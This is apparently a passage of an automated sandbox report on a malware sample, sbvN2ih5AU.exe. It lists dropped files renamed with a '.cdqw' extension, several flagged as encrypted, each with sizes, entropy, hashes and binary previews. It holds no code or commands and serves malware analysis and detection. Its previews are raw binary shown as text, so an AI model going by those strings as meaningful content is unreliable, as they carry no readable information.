SHA1:	1E81AF60F1C709AAD07D9FA1C99954453147E26A
SHA-256:	3CC1E1C271371714FC6DE0F002916262E81E7B53345944C3423D657EFA6B11ED
SHA-512:	9517A350820B3A490AD9BD4CF7439B23168E7B806A993DADFA7FEADDA0E559A0D7A9A7130A4DB007FCDE53DF5FEFA1B6F75A8A72354466E2586028E4F15CA91C
Malicious:	false
Preview:	......Q..h....~B..b...D..O..R.v.[l.p.K6........~.....%..~..;.z.c.G.m......S..z..+..pU~....\|...h.Q..}'v.%C............}...p..$Ci..f.N.G%F.....{....p...9.B'..`...F.\|......S-..}...........G.1pm0s/...Bo..FiBRL.qS.g.c...u.....:.....s.....W.h.v..YkR-..[0<..8......>)..D...0...L.>C.....g...bXRs...V.)...Pf.....bV.UM.4.kV.)....I..I.l~...?....\.Ty..c..``..x[$+.[Zn..nd.......5.m.S..f..~..d.$...I....].....w.........<..l.........W...>.H.l.0.vnA.f.~........]..A.b.Q.~+...(...1%."..uj..).La.......-g.....dBs.20..4.......=.g9..W?.,$o.[.;F..Sg@........w9...w..Tvx.=K_.jC....:...#x.e...,.E....D.%]>Kf.,!.>\.m=0ha0{...r.\0tV...k....._...yt.r....Gz$....x.c..X..<...)k.U[.i....(..y......~.B..,.Q.\|#E.$..d..Ct.^ W..7],.0.v%N..&r....YG.x.Q8.E...f...55..gh.F.]X......g....."Xw..J..H~..U.....c...>.(.......8.....7..N..<....{wK.....v..1PG...H...}.Jz..X......r#.."..X../...j.P...\.N......?.....$....^..p.&..T.`..Md.D..w.P.D....V...B.Z.M.F......mdwc.%':.S..c..$./..<..

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996088693648217
Encrypted:	true
SSDEEP:	768:0haIQ7hZnBOSLyHn2XSrmEc9CUENmSyBLMhjpm8wUL3BSR1e533PSMvxP61bwZiv:fIQrECQE99CUPSylM3xL3ARIaOscZi+4
MD5:	FDAEEEA8C61F40A9655FE420C627281A
SHA1:	6527982BB065823AD851D1DFD820753D9C8C77FB
SHA-256:	94B9C687E3D05E0D2E1E6722FF681C9505744D67E43687E05AEEB115B3E1B51F
SHA-512:	59B632C9AD96E737FAC095F1EDEDFDE3CDE61EC4FD6C75749455C6D0943ED82FF6FE0E9998124C7506D319BA3F3E743A0B641D26DE159FF98FDDF14550411350
Malicious:	true
Preview:	SQLit$.?....W.~...a.......J.Xx..I.,...xJ(.i...FX`~....%!...]V....F....t3h..h.%d....$.t.C}....+.........^...h..C.....6.w.....l.......f.]T...7uG..I..pd.X@.6.:...@#...mZ.R.....`.k.d....0.E..\...m..E...3.t_.......VO...'9..\|.}...C....u=k..8...v........=7h....A...,...6V..$.....2...C...P.u.f..5..M.4.p.7.-`...K.......+........o.D......,.g..X9..Y....m..Wok..S.`..3....5$.M%:.\|....IPx.5_..G!.0..!.>........b..bA.P...%.......k...p#..,Q."..=..(L..m-..v\#..[6.R}.!.....s..{.G..9...Y..9..L.J.h^F~.@..V..?$(.Z...Y.. b......WxM.........Y/..X..R4.V.c.#....f.P........=y/.CI.^V......u.s EN.U..a./..\..`IK)..1.a.z....../..".\|.eQ..Bv\...xA..E.-/_...m.W...Y..T.......a?.].g...l`WG..].^fb6].X..T.....R.RmGQ.....ani.6N...i.....}m.^5..Rw..S.0bV.....Yj....lo.P...[h.?.h.....4_.....k.-s............<......q..s.)>..........m.h..h..9$zXCnBW.X$M,.Sx.5..M.NnA.....\|i.qM.>.....7.. ..K.F.x.11..Q...v.. Z.T.p...F.1Hw..W5z..;.......Z.2.r/q.f...4.)..^B..8...*.N.-T.+>........3

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.37219554189501
Encrypted:	false
SSDEEP:	6:QltAmdVZ1xv2NBivuepj29SlR5FQVZ2xc1s92qzt2pOaZIfxqb0k7nIS1WdNciik:QPpdVxFvuepagjcmxc1sUu6O4Ifq0kMB
MD5:	E3E9178BC46AD36C749FAA90832A7E8A
SHA1:	0E29DCE9C51FF9EB46F45C58BE7524A8B445B42E
SHA-256:	06270F07B5957D194255D5C9BC0B82107DA355D8074328B21D2FB373851F8504
SHA-512:	6DAED57E750CDB98DE0719F52C315A1581175E950F0BB457B2DCD637AC2027EE92068B466CCB288605B228E1F7B567DB545EEF27F86DB6E63DA80FA1A1CB5BD8
Malicious:	false
Preview:	1,"fu.V.J..tS.......7..o#.yB.P...8.."...+.....+....#:.....#.."3.T/...=......6L.t(G.K....W.......sm..k?.W.+..\...v............y.z..,..:.v/3<..Y.$4.,..#......<.H^<h.89...{F5.Z.[..\.zb.T.......W..h4...jd.ZeZ>..)...D..M...mA.58..Y.t.q.h...3.w.#.g.e...... ..0.9...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.826786603339376
Encrypted:	false
SSDEEP:	24:EthNEUVnz/spC4HgS6jtt3Z8/OloUz9hFVLCOrJfezVTIErDNoheMRzVo9t08Jnw:E52gS+tpZhnvvMB1Nohespo9tHJkD
MD5:	4D4D8B2A19432E37D220491165AA01D0
SHA1:	E9650DB3EAFB49CFFF8994F5B151F8F48C52633C
SHA-256:	D34BBA6E2AAED4928DC7D1A022FBBEA35445F80C88569328A418928C4C6EE03C
SHA-512:	4EBD209E8EC2D33AADED5276040B9DC86B1F90799AF3615C9DD596D3D0B3C348E81B556EB17DBDA99BB4806C33F81DA3EE50DE3F880E81B26DFA81788A0106E4
Malicious:	false
Preview:	1,"fu;._...6.\S.zR-n.Q_....(..<~...d.vk.@A-.!..C.9.9..n...3....^XQ.yN...]...v{].....b"Z....;......X}.>...8...9.`.s.#3....,;...-F.L{.y..`~....9.....`.FB...7M:...O..1C%U..w..w....J.......5..m,\.o..%B..S9........3.p.......z./.^8.#...... ..{.O..1..@,.>.........}.ec8......i....q1.....)...".)c.0..V.l..-^Hk...>.U.6P.}z&..T.......F$......&S.P.k....}kGK.)].k.W:....a/.e%.oo../4(I...'.p...IE..^.....}?...WQ.......E..nZ&.K....[...?03.qi.^..m3J"...M..ai4...........~........."........(dl..1v.....L...W..{._8\..........n..z.....6...1p1.N<.'..K6<.../...H..r.?U.e...n}.T......F.S....L.....J..S1...=...IQ....JUzGzim<..[..."C.....yT.y.Z..C...n...+yr..=.........o...S..MA..&)...8".n\|cN...0.F..t....L.T{rdZ.x.Y......l.(...\|.........G.<....u..:]l6r..V.a7l.fD...Dz......v.Z.`C......qcO./..p..I.Lux..Ev.&.^..B....7....s...Y&..p....8.pc.W^...^}T.......c.T....l...8....G.Jw.wS.>........<.8.O^.D..M....\F..V @.jR.;.!.v.D...J....~...q....U.;......z..........`.bi..c..T.X.

C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.990229053441676
Encrypted:	true
SSDEEP:	384:7B3BLy/hM60s1SUYZ5wecM9hKODSMaa8Y9G02TNBS115Ojm:7B3BuG6DfJMGsV8Y9H2T5jm
MD5:	16CC942211CBAC9FA01B03877664C0C6
SHA1:	1A3271DA802A4722F8AAF0E2516EF74C78CD7EBA
SHA-256:	4DD5174472244339839C0FFED20CE753EE11E144F23DD238D8F95B7C20EEC513
SHA-512:	E8B0D85B3511012C0FB34614F3C42D9F2E4A85F3888937FEBB4402840EE4507BCC732B503DB1144463618FB8ED5FBAC7BE5E678B07D12613C779E7C00E03934E
Malicious:	true
Preview:	...@.{....F8.0<...u...B}\|.2..v>8i.H............U.#.-....>.P...t.hQ@-.x...e>.0Y....q..@..]...r..-..k.d.:..f,..aV...'..gk%.@..m8...,Hz..M..Q:....?.!g..$..Uh...4.:........1~?4n......O.K...g.G<...?..K....,!.G..+.B............}rY...dx..z.Z.~....8....x.........w.........7...;...nS../o`&..<.....`.&/....C..T....^...v.^.F\|R.....Z..kzy`U_x.r....F.[.1.X..$.......[..?...6$K.....g{....;..!....f}A..9..M....d\.\3.{..9.:7.V8.f.v~p...f..........q...@)G.8&=..YB.K..!....&K..g...p1....Xk7Si.=A!.)N..f`..,........C...<n.?.)....8K..3...I..Y...g.gS...phe.K.....v...F.........."..@...< ..O......?...7-"a.@...Il...$.5+.T..X...M..4...YM...\|a..!.;.B1.........)+.. ..IP.L...GeD..&.;,..&7.I[r.ze.7.w.....M.g.C...\|.6..?9...%......,.3.......B...\|{...A96..X*...cL.b..[.w...W1....O..Rte.....Z.&..N.[B.... (..O...}4..k.J'L..'.H.\|h-J....5.-...Y..kB.....Bc...:.m.D.....E.[[l]4..n.P.WF4.........+.L.{.....?];a..M.........b.a...........r.. A...D..l...e.x...D...a.nGJ&.Q.@.....h..q.{.wHo....

C:\Users\user\Local Settings\Microsoft\FontCache\3\ListAll.Json.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.978517451530515
Encrypted:	false
SSDEEP:	3072:0F8pbwsYrzn1Yk5yYOMVOLUnet3u4ayfh/sFGnRGhJtW:0F8pbwTP1p5yVMwAneUy59GhfW
MD5:	D63629EB0AA3BA015181F8A3D590CFCB
SHA1:	33E09E81BAB5E1F22557CAB374AD8F8043151053
SHA-256:	B9C23A5B09AAD92C97E609555E32AD58526743D7B230B93ECC0292140C5FBA03
SHA-512:	3869E1961E492E5F68BC6CB0E58367C025676517A321B196D46D5CD2CDBB164EBE83C399E40E03AAF3D7CD071767E11DF4324BF6AC79352F039ADD7CFD0EFDC1
Malicious:	false
Preview:	{"Maj\...h..._.......z.l......Q$H...@S$.e4P.o..../........[.>.....z.X....1;....x.9.1Y..T..6B.v."@...Ll.A..2....M..r.k.....D.ut..........?...6....;,,..&.........W....Q.CX<f.<.,..:.....T....4G..FW.....w..I7...Bd.8..ur>m.K.~.m.aP_..hs.~...Bz...\........&.....D@.....1........(.v....~_..I....0&.C..)J.....4..d.../!..4..D.a.:"SL.H4.p./2:..d{...qj,............K.q.]..b...Q.).&?Kt.)...(.G}.\|O..;...d..H.oR....vd.M.`...y.M.x?$q...J..;.X..e}5.a...........OT/...gf...{c..+.;....T...s....@...a.G...pG...K..u....;A.p.x...R.......[*...;y~(..e..$A.G.A...q.(.........HC....U`..n.Jjh....3pv..FG.._.w....d.b.o.6..y..l.`..k..2......s..m....O..J.T....4q...R..E.[...-8..1..@.n..K...!...D..l...Y..#....9{h:~..!)D..v#..>.?.....R....].U.........r.Q..C..].!..j.t?......N......`j}. .....D....g......&r:).<g?..L1.]......].......a..^.RymC..t..".v6q.Vl......:.;.!9.......I(..dP....6....e.y.M....U..R.F.c.Z#.x{.B..^+,,e...........S...f....c.>..Z..8B.3pm.{.....[.8Z.%iG.....r

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.91662864241505
Encrypted:	false
SSDEEP:	48:uS+FXWSPVkh+44hgWPXdXbUuYTV+L3RxzjK2U9RrND:ENx9e+NTlXbUuYR+TRdKRR
MD5:	4540B43D5D23A5AC078AE7E5E5DA7C21
SHA1:	49D2E6BD0B4DA2586ACEA7AE6F684B419D5135E7
SHA-256:	B80FAEED92827DDB0559B0BE9D85339964E6EC5E6AB225B23B975E69F16F820D
SHA-512:	383496D797DF74552C0751BB819C127B56A6AD12E665077F5C58C5073514B2ED380DF23A3B45ACF0392FA10CC5F494BD0BE1AEF11123173CAFEE6F406A146C82
Malicious:	false
Preview:	<?xmloz._.....x...3...=..........7..nU8. ....e?....3&.sc<.H..x..4[....[...nV..d...\X....M;9.4S..aaT.d.......e+..Q.R .1.l.y"^....M<<.zn....RN..].o.].k.Z.oi...`.2!...%eo..}..m..;JTp.............K....Eq....D..,...R.A.......Z....Z....Q..].......M.@...L.=..:.......y. ..^...I#{c...<.....v:. ......=4.0..(T.7.?.....5_@p.J.m,..Q1?k.v..v....f..x..<+....y.=..W2C....CB ...?..D..,.kR.+rEn.yonD.%..h.....8..{..2.TI.d8n..................O9p.9q....D;.1=..OVLL....$.K..."=...2)+......H,...c.k.4.K..G.P.....A.w?`.Q...!....n....Ot....;.d.\|..M.........1O.D.+."%..F......5.Z..1..Lcj.[.rHQoF{.......l.V&...(2xi!.^.6o.'...@U._..^...G8......h..QW..R.......%.....Tc&..k...o.l..T../1.H.aX.....Y.....'R}...u>...Y9....\o..@......$..\R.h>..^].I.c.y..9:W..A..En..5...BV..@....f...h.k... ...9.%1.../......?..).\M.I.6jy..f.%D.F....D.9...ad.`..I~Q...,J-q..~_..~....x.>...H..#..*4D. D-Ov.F_~.;.B._.J.T.[....r.M.Zm..PdlR..9.....].....y..8.5E.(.".B.3..b.........dP.Z.SA....>D.L.....`...I

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979006123558868
Encrypted:	false
SSDEEP:	192:mZQddj36GuyUKj5xrADRAXLnhLI167qgcR+ocm7O4:mQXqGeKj5xrFLdI163+p
MD5:	9DF004F7499BB79198BA309B4D39DE99
SHA1:	7A936D1B02913D04F746DBFAFD89022CE2110DF0
SHA-256:	8734E8D2A5332ED7863B04F9565E4AD82E169717E08F3364F873C06400986D0A
SHA-512:	5C8B9CA1B04DCE00607153F87E0FC644885FCE9F3292F58873884FE69A52CF9155454206F91AF5DC955B62F3888F3C5E4F7331BC91BAE879DB03166540AB83DF
Malicious:	false
Preview:	A......3..q..6...T.O.s..[.* .S;..p.q..-V..9bB.C.z....@<..X@.N0Hm...2...k.4*.^...OE+.G..h.)...k_.^....7.3..v.?f..L.;..E....b./...!...Q.[.....r\w.E{ ....ki.eW.$....$.".mTn....v..=8.)X..k.?...5........O.6.->.o.m.......J.{.....E.Y.p.....W..t..k=o...<B=..-.D.j.W...^g....U...~fKBDI...%.1n..O..J.bh.6..Q.B....wWBO....}../...-.......{>.:H.+.y.xAV(K.L...-..>..^.RN.....6#h.]....}'T...`.a......;..>....4~....[..`........."..R.....%.Z.{......Q..D.....f.......{.;./.....7..cN..\|.d.jfm....vP.!1...HV.3$"SC..)f.w...O..ju.$...KB.s..&.;.X...]..s......2$...f... ..O].}....x7..<=4..3..:w....H.K...x.G.....S..o...X2...!T........LE.......EY....D.8.(....z.7...7.."V)!.y...<..=q..X[.?s...@....q...c..[.Gj..F..P.r{P.c.a..T.5.z..G..1...AL.P..t....v.3..'.........!.c#1f^..$d.}4Z....yX.v....i....D..}..0..u..E....c.n.......^.w_v.~..Y!Ok..d.....nu....`S..j..a.+.........+...=>@.S.,OTk..R....._.\X..z..@.{...l.........!.._......c.5.,.4jl...[6MQ...H-..H...S\>...).....Z).~#.L.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.010377353382782
Encrypted:	false
SSDEEP:	3072:f+Uin+17IH4f3NAxf9YzNb3/LYzoujoWlWxJLoPlNOT7VRPDkSSnLRrR7tcIN8YK:fK3YfKxWhb8zoujoWAsBBc
MD5:	2FB62D189532BD1584CC9CD5AB509414
SHA1:	43098EFF2DD590840CD2F06A8BDE139B2B1344F1
SHA-256:	6ABCBB8BE6D931C6A329C8C9BA1D81D18E4CE4B103C7B166F6979A75A0377AEA
SHA-512:	C1C598E989176DF5763A5CAF982B47E9747CD0132054E3F70027708D52AF342A45D81BDA955E5A6DA66C55A08DC9B92DBF127B5F3141746886FDB430FC9A4369
Malicious:	false
Preview:	.......E.,.=..<...g...../.t.;~.9...]Hi..<.O....u.......4.....n@...#.Z......2,.Ei...EP2s..D..[...._.....M3A.....H....9....{.s......c..4..](3t......y...o.l.cr.a.ePb....0]..+.In9.wE...i....JT..D..w?J...o....%..lF=.....OYO.\..vq]-Z.'M>D......O.WK.c...li..g..@.Z.&....^.H.R...{.yC.]..)..qA.l.+c....7zY...{o.t6..\.......\|A.)....._....\|.-nU..K7........v.\_...s.%..t.,Bo...SBY:7d.u..a..$..9..0.^.E5.....i..X.$.vIB...u-d.M?...XV..IQT...b[.7.y...w.t....;...~D8V...C.h\.1 .J..p..ny...UK.....w....F...F.r_...P[^7.^o....s...S...99'"d...jtE..%..'.Ar=6.w@...t.f.`%2V..5..9>q-.7Q.[.n;........y....t=U...~[.!m...Ui.....l.i...j.a..=...._.}..........m/3Q.".G?..".#V.+..i.,...6..99.....x.k.Ul....Xd....cG`J.7.n....d.x...5..#........sY..wR:.=i..q<m3..Q<K~./.1.F.s[1...`x?4pr.`.lP^...O...'x..w>i.:Y....Z..p........6^..p...H..6y..g8..[l..;M-......%.......{..n&&.4..2...>Pr...........,...t.Xn..........j.5^D.lDy}.T0u.......(viZ.."........B..e....g.**.._u.n8,.\...x.)

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2083363390780373
Encrypted:	false
SSDEEP:	3072:gHu+N61kQP0yodimrMjZ6BTBM5A6BFM6B6+oQ9y1oEv:suaMRP0y2/Mt65aO8H9yVv
MD5:	E272832991325B9646D8967B8DC893B0
SHA1:	78BCC95330453C037C285F5CDCCC5A22C694516E
SHA-256:	C2C1C4420AB992F28EA478F6DEE0608E85C583F86A9C0070A7B9C652BCC40CEE
SHA-512:	69FB3A0FCBE3A38A06ACD0D84C25DB294E25D05ACAE0A147645A66587D8D1809E78D5BB6425A3DF7962326BE71FA8BFD2F06E658E237E44E72ABA1E16554550B
Malicious:	false
Preview:	.....>\..)........ai. ....V..N.zN..C.........B..Qg.f.zk...Ml..+3Oaz.....Z;..}...]~..........u..{+...:....A-=.J.d...{DD..A..{.sOKM.i..#.......\|../........:f..........&.d....?a-..2.[..(I.D....}...y...{,k.k.0.........-r....O....H.).8S..e..B.u.....x....f..#2/q.~..W..bT....P7...w...D.r.7......o......d.7.d.`.^t...uN.......z.^.n&........vE5.:M....8..E..`..Oz.e..XK..h!..c..o..H...".s"k...h@=n]......f...v....%T....X...d..A....M8.0+....<..S....-.J..4.@(.H.d..w^"..n.........x...H....3.3..oxU`......<I.g.=.4X3..}....o.>....R6].+7....x.....A......!...%.USD..aD.....N.I0lV.7...Z.<...he.Dd.cnY...D..6......Z.I.2tN.mh{. ..lC.].....H....JK3..#r5...&(..rUQiOF..t...x.t.I..(.)g...v&.P..X.....Q5..;D..5R...,..A...=.A.A......'w#..kX.......uV0.l..C..>.........wO[..8......7..........\|.!..h..9:.....>.L...u$...Si.AN?....r4.+:..U..r....,.....[(,RF..0...0..i......(.p....+.h5.&..5..\|..A..\X.....wd*[...i..l<.X.'.Z...Y...z..#...}...W;.$%..BSL.Fu...).D......

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207968261243813
Encrypted:	false
SSDEEP:	3072:GFH2sjLplYqrcXbg72R4CVGBn0iu38yIos6Xz7Y8e96eu/S4K+:EXrrUI2R4PBn0i4/Ls0s8e6eu/Sx+
MD5:	267BC97FE2AEA1A859560701D45CE9DA
SHA1:	184C1412EB803725BCFE19A93FD36F15381910A6
SHA-256:	22BC924D82B61B66AFA0CA332011CBB952113AAE10612736E15CFD823226856B
SHA-512:	07036EA22C265BD36078DB2C49A92F5850B6D9537E4F49DCADD474571D56BAB4426F434D41186BC61886DD992788B277D0625894406A2B42983EA19105CA9D84
Malicious:	false
Preview:	............a.lq.q.u.......K..&j..^.......3....9<q(..oA7.$.......4..6..j$.....V6FQ.....Ad+...cR....Q.....5.....f7:."....~D.%n%<...9.%.d.~.l.m./.3wb.......r.........&oN..QMH...a..=..?>..%C.#[...l....e....u.6e..Y...0.[oO.Kk.....e..b..:...<z.vR....q..o'gP`F.v.h$....e.Y>.....9...D.-.....=../....l>..Bf...b..f...6-as]..h..e.'<...M..".J.!D~./WL:i......~Mq.rh.0.....SQz.....w.Tx go.h.M..."bO5...SD.?...z}$.Q\.)TA.r?...V..lR..z./...D.U....j.o....=.....3QU.I<\|yF....t..q.7..B._.?i..9.>..A.o..6......3/.v.......k9.C.7.y,}.......mjf..B.{.......s>X(.h.3.o.....o..V)..nQY~$c].<!.......7...P.......{.P..5......aN..xO.i?X.._....I..s...6v.i.q4.Bs7A}.M"x.............tH..Fh.C=...,.n..@....[.S...L..1p.........o...a?\|....lI.TMM.Z.....G2.M...S.}....f....y.t8......6..<Y.D...R..:e._.N..K...w..[..."Es.R.h}.......7w.K#7..B....9....2mg...Z...=..........D..MN...........A3.J..Y...8...>::.`J<.u.Q..n.U...S2%..,.J..Lr..[!..........Vxi..@$."....8fl...8....K...4.^7.;.Q.EH.C?

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2081485749179444
Encrypted:	false
SSDEEP:	3072:zkQrHp9FObNZGAqEJRtIBzrW74ypK6DVN27V7SMYNC:YQTpOrNqEBRUyp9b279SJNC
MD5:	070FDC14B1E41970B2AC0A21B7588E33
SHA1:	BEF89A2B0A23F586555514061B9030AA7BAA8D92
SHA-256:	C14BE5AAB365823B83B4F0241AF0F5FD9C13BB1134FA0802E84310DE20DB030E
SHA-512:	E23FC858B1189A209325E17112EC209DE75E97D8365898871CA8A9F1122FB11A7C4D0597565A6D68574EC2039484AB1C5A1A26ECE9A3FFE9C2BC1E679539A55A
Malicious:	false
Preview:	.....EM[k .%...R..Z... ..?.%F....qy{.U.....h.:O.........uUh...%.k.....=.c..p...RH.....0%..}...NB....Q"......7...'tTl.p.j...6...S...\|.....=K...]..I..9....I......5N.h.1.....n..bI^=......n.1..b'd\c.1.J..{..B.nD.D..6.$.ZMH.."...&...M..i....G^.....r...l.y...+.NbI..d. qqU.......r.=[...uD..w..F./.W...a....M...5....9uC....&.`.Z....L.+......&D.T.`6..(...'t....L....L....p..?:.4.bs. p...n.8..0.D...u....$...np..~..>...l.\|`...m.Bd.S.7Y{.ix~z.f{\.pp.C.Jt.f..q.k.n.7.>.+..N.h.@...x..4...82x.\o.*GK..&....!....g...qX..2.?6...jh..<.t.D...%.......m.\|..99.:\| ....h.W.9...&.i2./;8.......[.}.......t.....Z..8....m@...D.N..x. ..1........2.G.qU#.'...#>...b.........n..Y5.....>...%..[pk.......?...l..:.Z....>w(..C~.;..M.4..#..U`..U.\|g..X...N~YwW-.....1z{.W...IQ:B=hSg.......^Q.......p~.W.\J.....0hj;+.....;^.Z.@.....K.w....r;.9g.M4.m.B....(q....6....Gl.3...JnS`.6......w'.fBS.....e.U]..=. .........9.ml..\|M0#\|.bm..{./A.....T....p....M.......c....m)........

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.937049757013891
Encrypted:	false
SSDEEP:	96:Qxg19M7kcgR5+cpdp+oVlc+gJZY2UWnH3H0dt3G:Gg1OROMoIBfUm3X
MD5:	DFBE0A040724BE0F4BEFF4DF7B69ABEC
SHA1:	6CCBA76641B7B80E74ABCF82683E2EEFA9D53022
SHA-256:	542F7E4B4570D917FE4790F962F64EEAEBFEA2FFDB06C893635D0DBD017967EE
SHA-512:	B62C2434B24A2CEED1C6886EC1AC33E62816FE1347B74B7E9F365433F5DDB7B571076252B10194C2B59068FBA259CE08A6033268A904F53C0D0B5865CBCA68BD
Malicious:	false
Preview:	<?xml.p....\Y....n...(.f.A.._...z.......P@..H.qM.1.~.+...8.@'}OC,.\.\.-R..:./{o].....`.....[...He...l..st..n...."Sc..M.%..u...Lf.p..#U>#..r..h+"`.....B........`....s.Q..d............oP..3.........w....._....\|.u.y......ea.2..zhSf.......S.../.k....7V...'.m.(e.Z.4..;.x.B.a9mVh.,.e`...J..u1h..0.......8i.H?.z<...I..G.......@E.z........M..._0(4p...a.un...Z}J..v.q.=xk:.].p.!....KK8.._..>=f.....E.T{...j.4.L.z"....H.H7..z/.8hm.q>........K...qf.....=0..# V.d.{.E.o.J.(g+...... .h.A..*P...V.....0.J`Te....P...V......../.{Y..&...b..w.C.V....784b<..B.d.9.wEvs3\|~...g.d.............&{?.ir.!...S..f6...v.{......c..q...!./.._+85z.....}..`.u6.n.....\......q.-.t..hH&..!{w5.....kUD...._6v..Mx.,#....L\._h..9.._.$..S./.P.O..K(...O/.....(P..\|T./.....t..(Cn.l...-x%.s..L..5K..b....5..1H.....#c....x..+f]t5.8.x.I..#..r..@.\|1..../..('D.h.inO....W)1..`V6..1.;-...]+Gp.l.....r../..9sx...k_...>7.z.....[L8.u.....O....V..G...wh...;}<.C......#...g.o.B.[3...Z.,8..2j.jY.Y.Hb.m.4.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brndlog.txt.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.9770584818623025
Encrypted:	false
SSDEEP:	192:Bg9drG3M2+y10K9Z0w6dKRQ+w/y7PMIjnOXkRJfWmm:BwdrgM2+y10K9Zp6sRQ3/y7PMIjOWPm
MD5:	6D97F3D2D5A984263A72D1250E5D933C
SHA1:	7D19CA986242FBA08B71C7B6EF27A96F3B0EEB7C
SHA-256:	04F4D20E597EFE6D533163484B2F4BF574720345471FEC9EC8F410AA5D90978E
SHA-512:	8E44790ECD71917B54D5D6F5686A4B649279C1CF1922969DDFFD7E5542B8C203458A3283AA14DDB72878B40866D7E77F39111E25D80A72FAEBAE31D9EC06AAC9
Malicious:	false
Preview:	10/03U.5.=Z.+.,=.\|A.....]h......So.k.}...CC^.)...s..SE,.9p_.a..o.WzK......$.+$..q..kM.[.K]wz.K..2....g....\|[$..B.).,...p]s.]....N]l..!..W.CZ.C"..:_.....=R......W..`a.y....t..&..=...U...XZR.[...+...-..e.Z.;4O....l......x...m..\|H.hA^.....1\|v..a..V..f'4/..m..&...)...[../>......;......Y.FG.k6.:Q.p..k:3U$y..A..........S..G...M./..s...3........D.PY......$..V..0.\|y.#c..?...Rjo....:....xZ><u.r...hY2T....h.;x......\...G.Ep.7r."...1.\2W"..........Y....$.q.P..tm[..-1....<o..0......k.l.K..Jp..X..\.0....%E.......g..}bz.m.@.3.(...I63.8.`N.....h3....M..B=...k..;..vT........".e..F.MN)O..D.3..c....H...=r.0..3.......~.\|{.D8...D.S....a..3!.M...k...F,...n........o...&9.WjZ.YX..A..}X.xj...~....L../.a=.....qsk`..9..%...e.a..?.I..-J..)"..-E..S.a..:...;.Yh..._:..e...v...q.AcYy.......].Zf..QD...xh2.Q...e..K...*...Eg.L..#"...\|.f.z.1..;..X..W.E.\.....;..mgB2s. yH;...[..>(p.c...q..F....^...y,k(Ma../.L..6'.)..r....../.k$.:.. .v......y....L..A..xM...e..Z..Z.1.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.766963455508458
Encrypted:	false
SSDEEP:	12:QHgRMfdhQUKaTIaU7iBmwlD8NUp6gOuoZbP10uJ0HvsbLNdraK9ImpCjZN3oX2Sw:QHvf3ywlLp6gIbPJ0HuB14jZN3oF2bD
MD5:	3381A029978F088A173FA2AD8F42B704
SHA1:	1D9B747C233A5B18A30D98C521AC557ECC3151E9
SHA-256:	CCFB0EDC2EA3DEBB5052CEC4623D0D067D01473572D999A2230809EDF9248F68
SHA-512:	7A9A237E6C4AFD022421CB2E89C8DA11BB36940E2E1323796AF3D4DF93918B182DD5B93F2ADC89C995A0B2E81A143459ED841092D74A7A26B2B6A12CF9C43427
Malicious:	false
